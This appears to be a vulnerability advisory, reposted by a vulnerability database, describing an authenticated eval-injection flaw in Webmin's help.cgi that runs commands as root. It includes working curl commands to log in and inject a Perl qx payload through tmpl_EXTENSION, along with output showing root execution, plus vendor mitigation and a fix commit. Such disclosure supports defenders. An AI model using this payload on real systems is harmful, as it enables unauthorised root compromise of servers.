Webmin Help Template Authenticated Remote Code Execution

🗓️ 13 Aug 2026 00:00:00Reported by Jeremy BrownType

Authenticated RCE in Webmin help.cgi via eval injection in tmpl_* parameters enabling root command execution.

Webmin Help Template Authenticated Remote Code Execution
    
    Jeremy Brown (jbrown3264/gmail), August 2026
    
    =======
    Summary
    =======
    
    Webmin's help system accepts template variables via query parameters and processes them through the eval function. This allows an authenticated user to execute commands with root privileges.
    
    ============
    How It Works
    ============
    
    Help system (help.cgi) shows documentation for webmin modules. It includes a template substitution mechanism that allows modules to inject dynamic values into help text, such as the hostname or configuration path.
    
    The tmpl_* parameters are accepted from the query string, passed through variable substitution and directive processing and then sink to Perl's eval.
    
    Webmin ships with many module help files. The Postfix module's opt_mailbox_command.html help file has the $EXTENSION template variable, so the following payload triggers the bug.
    
    tmpl_EXTENSION=<if PERL_CODE>1</if>
    
    This allows execution of arbitrary code, such as with 'qx' the quoted execution operator in Perl.
    
    ============
    Exploitation
    ============
    
    A user can login and get the session ID, then trigger the bug and execute arbitrary commands as root.
    
    $ SID=$(curl -sk "http://localhost:10000/session_login.cgi" -d "user=testuser&pass=testpass" -H "Cookie: testing=1" -H "Referer: http://localhost:10000" -D - -o /dev/null 2>/dev/null | grep -oP 'sid=\K[a-f0-9]+')
    
    $ curl -sk "http://localhost:10000/help.cgi/postfix/opt_mailbox_command" -H "Cookie: testing=1; sid=${SID}" -H "Referer: http://localhost:10000" -G --data-urlencode "tmpl_EXTENSION=<if print qx{echo;pwd;id}; exit;>1</if>"
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <style>#popup .ui_form_end_submit {display: none}</style><title>External command to use instead of mailbox delivery</title>
    </head>
    <body id='popup' bgcolor='#ffffff' link='#376ebd' vlink='#376ebd' text='#000000'   >
    <h3 class='ui_subheading'>External command to use instead of mailbox delivery</h3>
    
    /usr/share/webmin/usermin
    uid=0(root) gid=0(root) groups=0(root)
    
    ==========
    Mitigation
    ==========
    
    From vendor website at https://webmin.com/security/ regarding Webmin prior to 2.640
    
    "Privilege escalation using Help feature
    
    Untrusted Webmin users can use the built-in help pages to execute commands with root privileges. This is possible regardless of which modules the Webmin user has access to."
    
    Fix / relevant commit
    - https://github.com/webmin/webmin/commit/38352f5c010c79197352ec284fac857f1873957a

13 Aug 2026 00:00Current

5.6Medium risk

Vulners AI Score5.6